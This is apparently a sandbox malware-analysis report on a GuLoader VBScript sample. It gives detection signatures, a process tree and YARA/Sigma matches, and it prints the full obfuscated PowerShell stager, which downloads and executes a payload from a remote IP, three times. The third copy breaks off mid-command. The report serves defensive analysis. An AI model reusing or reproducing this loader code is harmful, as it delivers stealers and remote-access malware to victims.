Edit tour

Windows Analysis Report
Agterdelen.vbs

Overview

General Information

Sample name:	Agterdelen.vbs
Analysis ID:	1665610
MD5:	00aac0b28f4c3970a69309489db29b89
SHA1:	3d6214dcc63c9d3ffbfbfd402c62b99697787c69
SHA256:	200aa88835a9db6e9af5dad6550e26806ea869ce94b9c8098c68521bf3bc6af4
Infos:

Detection

GuLoader

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Potential malicious VBS script found (suspicious strings)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7832 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 8104 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigtelAssy.:Cre cA rideQ .vlsuVindaa SkribGe.neERadiolVerdel ScalE Brio=Cityin BrugeKabelwCross- SeicOResulbMa lejDatatE Me.nCSugetTGol c So iSefforycanzoSTeleftVild,ET.erimSe,nd. Ynde$ TevaPRe.chRTe neoR vieTSmaasOL ndsZpusilo He,tahovedl');Desiodothyroxine3 ($Skaberkrfters);Desiodothyroxine3 (Centralkomites 'pho o$Dy buAEssigqbes uuBl,kdaC.anub LicieLivrelDyrtilL vtseDukse. rebHSlagte miniaPreandGedebeHeterrCar.osCinch[extor$PyramT aserrCol paEth rnQua rs Te tcOplivu,aklilSpurgtCountuCzekor roubaSaltgtSt,ininytteogaasenFors ]Barsl=Under$TetraA Snowf PangfSavinaRekhtl P.ocdMixils RectbRoyaleWanglhRounda Dek nFa,ord esilForesis esvnNoresgopmaasBenedsGangeyRek nsEns,etMoniteEchoem');$Phraseology=Centralkomites 'Respi$tagasAEpignqGrantu hicaDiasybMastaeSkyd lSoffilBrotheHvlve.UnderDfam.lo trbswSkrivnAth elUdbryo MaldaSu frd CokeFDriftiHl.nilSkalkeBrnep(In.fr$HotmeBTrernrLieutiCobirg Ac rgPl nksFeltrkZohar1 Skum1Overh6Crota,Jo,le$ExpiaM Ta aiVidernSoci iAntipmJambia Doc lRaadll.aramn C,esnG deseFormad Thete Spin)';$Minimallnnede=$Afgivelsens;Desiodothyroxine3 (Centralkomites ' Ages$Anm lgVelfoLGemmeoTe plB guicABlok,lBor,v:SintrMBetonAOldkirblimbX TrirI BallsSopraMHedonEDesse= ormb(Bloodt ves EPresuSMotivtBlodu-CountpPlaneaUndiftNummeH and Quadr$TriniMskostiA.ksiNSwimmi Hi hm LandAL.medLsiltelSpaninIhje nOpve EtaellD Pte eSkra,)');while (!$Marxisme) {Desiodothyroxine3 (Centralkomites 'Celsi$JealogGallulDebatobrutabP eacaMhedel prng:autooBS indaEl,keaOstradC,mpal D phnD awag Fetid AceteUn.ep=Friha$Sto dvAmonheamp.ir SlogmKbenhoDerieu unbulLaboru') ;Desiodothyroxine3 $Phraseology;Desiodothyroxine3 (Centralkomites ' Unnu[S utsT inimhGardnrBlafreAfhngaReoccdSh ndI enernAntifgPugna.EkstrT phobHStokkrTaktre AarsA ,kovdKbsst]Fyrin:umrke: S gts SchiLskrupetr stEAntaiPVe.st(drmme4Slikk0 Ca o0Desir0Sho.t)');Desiodothyroxine3 (Centralkomites 'Crani$For.nG A luLFrugtOUnwarbhusasa oextlKredi:Peri MBilliaTorperspookXAimfuiesrogs undemhalsbe Hype= nsva( Barnt LokaeBermts,emogTca so-FljalP TallASi naTUn,ochPelsd Acan $MatchmAadseiBegonNKultuiSimazMRevi aAutodLBevisLHanden BajonSpumaER forDCavumeBygni)') ;Desiodothyroxine3 (Centralkomites ' Tran$InterGmaniolDrankO,cquibpaillaFerroLCadav:Str,gGM ltiECosmonMesacScourbt StriA RockN BrylD Korts Rkenl VirtSUnde,= S,ld$animagwel mL P,raOFarfubUnde.AovercLmusef:UnimpDUdgifoSeksatslattTHemihe DeltDThomanEft,reSmygeSsuttes ,ide+udmaa+ Blin%Paavi$ orrepStnkeRCigariBi dsS yngek Ni,hr Hi ticorrog,ychnE UndenUntrue F.em.ToppuCBedtiOMaskiUElvchnGl.rit') ;$Briggsk116=$Priskrigene[$Genstandsls]}$Pitarah=399137;$akademikerarbejdslshed=32580;Desiodothyroxine3 (Centralkomites 'Vizie$UdkasGBoulel Fr,mO LienbStagga NugaLLev,l:L mnepGulliopo rleAns,it Ge nHtor eo scheo,agcedPlatt Slowb= Dang IndlgG TilfEMaanatCou t-Plkkec VsenoAntitnPacifTBams edoumaNGavagT Flan Berig$MilamM OverI BrunNLitteIFrostmTyperA CirkLAvisllPalaeNGradiN fkrie J niD Py ie');Desiodothyroxine3 (Centralkomites 'Hinge$kongrgFolkelKlaskoSy.pobNe riaErhvel Flor: FjerS BronuS kenm TrivpNrin eDiebag My enSk ls Fre = Te.s Tri a[FlyrpSFdselyHomocs protAuktieMeditmKogej.PraktCPrvetoudtrrnde,erv MatreEksamr Ter.tYnded]Nonco: Ic n: I,ddFMildhrFast,oPy.temBe alBVagtma Rimls uedaeOdac.6Mista4EffekSPerirtStjerr BirtiAftalnCondeg Shee(Boner$ MycoPGajauo hetreCo artSpindhGammoo B auoDiarcdEjerl)');Desiodothyroxine3 (Centralkomites 'Kmpem$D.mongNeotel MimiOspegeb GeneAfl vel germ:Prel.OVocabVSyna eNonmuR Ze gNMalagEUnornrVa asvPreinoFje,duSpontSSabelLAlec YAnten Exist=Enh d assa[Aads,sSommeY OnomS O.skT CalceRdmesMAnbef. Log,TSu trePerscXRgsk.T fsen.GrnsiE TrasnG ndaCUnmovoVam edDundeIUndf NIceboG.illi] emop:Intel:bomseaSalsus Misac DalaIGobanIRarif.Udr nGIl faEFr ertMercisI.hthtKrediRUdsvviCabalN NdsaGUdskr(Tri o$krimisKrediu ArviMRembopL ctoEmethogElaboNTeam )');Desiodothyroxine3 (Centralkomites 'Skriv$InfangTon.vlClinoo A.pebGpdhoa SaltLBrevd:MyosctbeforJfairfsVan dtA.tieaMinerT GelliIbsenv ImpoEUndirrLusatnGir sEDr,susBeari=Hensi$EnchaoGuldmVSpu.vELyngsR U moNBasebeBesvarAnarkvHegelO BranUKamm,sAspirl PresYSouch.StemmS Tra uOmforbSkovlSforlitBa rdrCin.aIUnpatn Neongstjer( Tran$,hlorPkvgp,iUlydiTHobeda CaddR,paidALawk H Pro , Tibe$ferl aStempKNeutrADis rd IberEKonflmPseudiSweatk ProgEUkraiRPagura SpydRRelisbvildtenonphJDemisd Din SOleagLBe,okSMant,hMegamE aresd ntre)');Desiodothyroxine3 $Tjstativernes;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1040 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigtelAssy.:Cre cA rideQ .vlsuVindaa SkribGe.neERadiolVerdel ScalE Brio=Cityin BrugeKabelwCross- SeicOResulbMa lejDatatE Me.nCSugetTGol c So iSefforycanzoSTeleftVild,ET.erimSe,nd. Ynde$ TevaPRe.chRTe neoR vieTSmaasOL ndsZpusilo He,tahovedl');Desiodothyroxine3 ($Skaberkrfters);Desiodothyroxine3 (Centralkomites 'pho o$Dy buAEssigqbes uuBl,kdaC.anub LicieLivrelDyrtilL vtseDukse. rebHSlagte miniaPreandGedebeHeterrCar.osCinch[extor$PyramT aserrCol paEth rnQua rs Te tcOplivu,aklilSpurgtCountuCzekor roubaSaltgtSt,ininytteogaasenFors ]Barsl=Under$TetraA Snowf PangfSavinaRekhtl P.ocdMixils RectbRoyaleWanglhRounda Dek nFa,ord esilForesis esvnNoresgopmaasBenedsGangeyRek nsEns,etMoniteEchoem');$Phraseology=Centralkomites 'Respi$tagasAEpignqGrantu hicaDiasybMastaeSkyd lSoffilBrotheHvlve.UnderDfam.lo trbswSkrivnAth elUdbryo MaldaSu frd CokeFDriftiHl.nilSkalkeBrnep(In.fr$HotmeBTrernrLieutiCobirg Ac rgPl nksFeltrkZohar1 Skum1Overh6Crota,Jo,le$ExpiaM Ta aiVidernSoci iAntipmJambia Doc lRaadll.aramn C,esnG deseFormad Thete Spin)';$Minimallnnede=$Afgivelsens;Desiodothyroxine3 (Centralkomites ' Ages$Anm lgVelfoLGemmeoTe plB guicABlok,lBor,v:SintrMBetonAOldkirblimbX TrirI BallsSopraMHedonEDesse= ormb(Bloodt ves EPresuSMotivtBlodu-CountpPlaneaUndiftNummeH and Quadr$TriniMskostiA.ksiNSwimmi Hi hm LandAL.medLsiltelSpaninIhje nOpve EtaellD Pte eSkra,)');while (!$Marxisme) {Desiodothyroxine3 (Centralkomites 'Celsi$JealogGallulDebatobrutabP eacaMhedel prng:autooBS indaEl,keaOstradC,mpal D phnD awag Fetid AceteUn.ep=Friha$Sto dvAmonheamp.ir SlogmKbenhoDerieu unbulLaboru') ;Desiodothyroxine3 $Phraseology;Desiodothyroxine3 (Centralkomites ' Unnu[S utsT inimhGardnrBlafreAfhngaReoccdSh ndI enernAntifgPugna.EkstrT phobHStokkrTaktre AarsA ,kovdKbsst]Fyrin:umrke: S gts SchiLskrupetr stEAntaiPVe.st(drmme4Slikk0 Ca o0Desir0Sho.t)');Desiodothyroxine3 (Centralkomites 'Crani$For.nG A luLFrugtOUnwarbhusasa oextlKredi:Peri MBilliaTorperspookXAimfuiesrogs undemhalsbe Hype= nsva( Barnt LokaeBermts,emogTca so-FljalP TallASi naTUn,ochPelsd Acan $MatchmAadseiBegonNKultuiSimazMRevi aAutodLBevisLHanden BajonSpumaER forDCavumeBygni)') ;Desiodothyroxine3 (Centralkomites ' Tran$InterGmaniolDrankO,cquibpaillaFerroLCadav:Str,gGM ltiECosmonMesacScourbt StriA RockN BrylD Korts Rkenl VirtSUnde,= S,ld$animagwel mL P,raOFarfubUnde.AovercLmusef:UnimpDUdgifoSeksatslattTHemihe DeltDThomanEft,reSmygeSsuttes ,ide+udmaa+ Blin%Paavi$ orrepStnkeRCigariBi dsS yngek Ni,hr Hi ticorrog,ychnE UndenUntrue F.em.ToppuCBedtiOMaskiUElvchnGl.rit') ;$Briggsk116=$Priskrigene[$Genstandsls]}$Pitarah=399137;$akademikerarbejdslshed=32580;Desiodothyroxine3 (Centralkomites 'Vizie$UdkasGBoulel Fr,mO LienbStagga NugaLLev,l:L mnepGulliopo rleAns,it Ge nHtor eo scheo,agcedPlatt Slowb= Dang IndlgG TilfEMaanatCou t-Plkkec VsenoAntitnPacifTBams edoumaNGavagT Flan Berig$MilamM OverI BrunNLitteIFrostmTyperA CirkLAvisllPalaeNGradiN fkrie J niD Py ie');Desiodothyroxine3 (Centralkomites 'Hinge$kongrgFolkelKlaskoSy.pobNe riaErhvel Flor: FjerS BronuS kenm TrivpNrin eDiebag My enSk ls Fre = Te.s Tri a[FlyrpSFdselyHomocs protAuktieMeditmKogej.PraktCPrvetoudtrrnde,erv MatreEksamr Ter.tYnded]Nonco: Ic n: I,ddFMildhrFast,oPy.temBe alBVagtma Rimls uedaeOdac.6Mista4EffekSPerirtStjerr BirtiAftalnCondeg Shee(Boner$ MycoPGajauo hetreCo artSpindhGammoo B auoDiarcdEjerl)');Desiodothyroxine3 (Centralkomites 'Kmpem$D.mongNeotel MimiOspegeb GeneAfl vel germ:Prel.OVocabVSyna eNonmuR Ze gNMalagEUnornrVa asvPreinoFje,duSpontSSabelLAlec YAnten Exist=Enh d assa[Aads,sSommeY OnomS O.skT CalceRdmesMAnbef. Log,TSu trePerscXRgsk.T fsen.GrnsiE TrasnG ndaCUnmovoVam edDundeIUndf NIceboG.illi] emop:Intel:bomseaSalsus Misac DalaIGobanIRarif.Udr nGIl faEFr ertMercisI.hthtKrediRUdsvviCabalN NdsaGUdskr(Tri o$krimisKrediu ArviMRembopL ctoEmethogElaboNTeam )');Desiodothyroxine3 (Centralkomites 'Skriv$InfangTon.vlClinoo A.pebGpdhoa SaltLBrevd:MyosctbeforJfairfsVan dtA.tieaMinerT GelliIbsenv ImpoEUndirrLusatnGir sEDr,susBeari=Hensi$EnchaoGuldmVSpu.vELyngsR U moNBasebeBesvarAnarkvHegelO BranUKamm,sAspirl PresYSouch.StemmS Tra uOmforbSkovlSforlitBa rdrCin.aIUnpatn Neongstjer( Tran$,hlorPkvgp,iUlydiTHobeda CaddR,paidALawk H Pro , Tibe$ferl aStempKNeutrADis rd IberEKonflmPseudiSweatk ProgEUkraiRPagura SpydRRelisbvildtenonphJDemisd Din SOleagLBe,okSMant,hMegamE aresd ntre)');Desiodothyroxine3 $Tjstativernes;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2573407527.0000000009DB6000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 8104	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8104	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x21f3f7:$b2: ::FromBase64String( 0x21f42e:$b2: ::FromBase64String( 0x21f466:$b2: ::FromBase64String( 0x21f49f:$b2: ::FromBase64String( 0x21f4d9:$b2: ::FromBase64String( 0x21f514:$b2: ::FromBase64String( 0x21f550:$b2: ::FromBase64String( 0x21f58d:$b2: ::FromBase64String( 0x21f5cb:$b2: ::FromBase64String( 0x21f60a:$b2: ::FromBase64String( 0x21f64a:$b2: ::FromBase64String( 0x2b8ed8:$b2: ::FromBase64String( 0x9247:$s1: -join 0x59df8:$s1: -join 0x5ece2:$s1: -join 0x136c3c:$s1: -join 0x2e1363:$s1: -join 0x2ec99e:$s1: -join 0x2f9a73:$s1: -join 0x2fce45:$s1: -join 0x2fd4f7:$s1: -join
Process Memory Space: powershell.exe PID: 1040	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 1040	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xb6c24:$b2: ::FromBase64String( 0xb208a:$s1: -join 0x178de6:$s1: -join 0x185ebb:$s1: -join 0x18928d:$s1: -join 0x18993f:$s1: -join 0x18b430:$s1: -join 0x18d636:$s1: -join 0x18de5d:$s1: -join 0x18e6cd:$s1: -join 0x18ee08:$s1: -join 0x18ee3a:$s1: -join 0x18ee82:$s1: -join 0x18eea1:$s1: -join 0x18f6f1:$s1: -join 0x18f86d:$s1: -join 0x18f8e5:$s1: -join 0x18f978:$s1: -join 0x18fbde:$s1: -join 0x191d74:$s1: -join 0x1a07be:$s1: -join

Other

Source	Rule	Description	Author	Strings
amsi64_8104.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_1040.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xcf7d:$b2: ::FromBase64String( 0xc9ac:$s1: -join 0x6158:$s4: += 0x621a:$s4: += 0xa441:$s4: += 0xc55e:$s4: += 0xc848:$s4: += 0xc98e:$s4: += 0x168b0:$s4: += 0x16930:$s4: += 0x169f6:$s4: += 0x16a76:$s4: += 0x16c4c:$s4: += 0x16cd0:$s4: += 0x3bce:$e4: Get-WmiObject 0x3dbd:$e4: Get-Process 0x3e15:$e4: Start-Process 0x17550:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", ProcessId: 7832, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Agterdelen.vbs", ProcessId: 7832, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ 